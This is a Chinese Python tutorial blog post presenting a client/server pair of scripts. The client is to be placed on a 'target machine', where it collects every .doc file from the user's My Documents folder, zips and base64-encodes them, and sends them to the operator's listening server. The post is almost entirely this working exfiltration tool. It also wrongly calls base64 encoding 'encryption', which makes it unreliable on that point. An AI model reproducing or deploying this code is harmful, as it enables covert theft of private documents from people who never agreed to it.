python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python笔记(2)
Oct 24 Python
python中使用OpenCV进行人脸检测的例子
Apr 18 Python
Python爬取Coursera课程资源的详细过程
Nov 04 Python
python pandas中对Series数据进行轴向连接的实例
Jun 08 Python
梅尔倒谱系数(MFCC)实现
Jun 19 Python
windows下python虚拟环境virtualenv安装和使用详解
Jul 16 Python
pandas 缺失值与空值处理的实现方法
Oct 12 Python
Django框架下静态模板的继承操作示例
Nov 08 Python
Pytorch中的自动求梯度机制和Variable类实例
Feb 29 Python
Python爬虫爬取、解析数据操作示例
Mar 27 Python
python调用API接口实现登陆短信验证
May 10 Python
Python selenium使用autoIT上传附件过程详解
May 26 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
PHP实现上传多文件示例代码
2017/02/20 PHP
Yii框架应用组件用法实例分析
2020/05/15 PHP
laravel开发环境homestead搭建过程详解
2020/07/03 PHP
javascript的数据类型、字面量、变量介绍
2012/05/23 Javascript
文本框input聚焦失焦样式实现代码
2012/10/12 Javascript
Javascript实现真实字符串剩余字数提示的实例代码
2013/10/22 Javascript
跟我学Nodejs(一)--- Node.js简介及安装开发环境
2014/05/20 NodeJs
JavaScript跨域方法汇总
2014/10/16 Javascript
JS实现网页表格自动变大缩小的方法
2015/03/09 Javascript
js中this用法实例详解
2015/05/05 Javascript
JavaScript中eval()函数用法详解
2015/12/14 Javascript
JavaScript 中调用 Kotlin 方法实例详解
2017/06/09 Javascript
js异步编程小技巧详解
2017/08/14 Javascript
基于Vue.js 2.0实现百度搜索框效果
2020/12/28 Javascript
JavaScript实现树的遍历算法示例【广度优先与深度优先】
2017/10/26 Javascript
Three.js基础学习教程
2017/11/16 Javascript
js实现以最简单的方式将数组元素添加到对象中的方法
2017/12/20 Javascript
jQuery+ajax读取json数据并按照价格排序示例
2018/03/28 jQuery
jquery引入外部CDN 加载失败则引入本地jq库
2018/05/23 jQuery
vue-router传参用法详解
2019/01/19 Javascript
js逆向解密之网络爬虫
2019/05/30 Javascript
jQuery创建折叠式菜单
2019/06/15 jQuery
Python实现将n个点均匀地分布在球面上的方法
2015/03/12 Python
Python操作mongodb的9个步骤
2018/06/04 Python
Python tkinter和exe打包的方法
2020/02/05 Python
jupyter notebook插入本地图片的实现
2020/04/13 Python
python中for in的用法详解
2020/04/17 Python
Html5 APP中监听返回事件处理的方法示例
2018/03/15 HTML / CSS
Shopee马来西亚:随拍即卖,最佳行动电商拍卖平台
2017/06/05 全球购物
工商企业管理应届生求职信
2013/11/03 职场文书
个人求职信范文
2014/05/24 职场文书
服装设计师求职信
2014/06/04 职场文书
单位实习工作证明怎么写
2014/11/02 职场文书
工作检讨书大全
2015/01/26 职场文书
部队2015年终工作总结
2015/04/02 职场文书
小学班级口号大全
2015/12/25 职场文书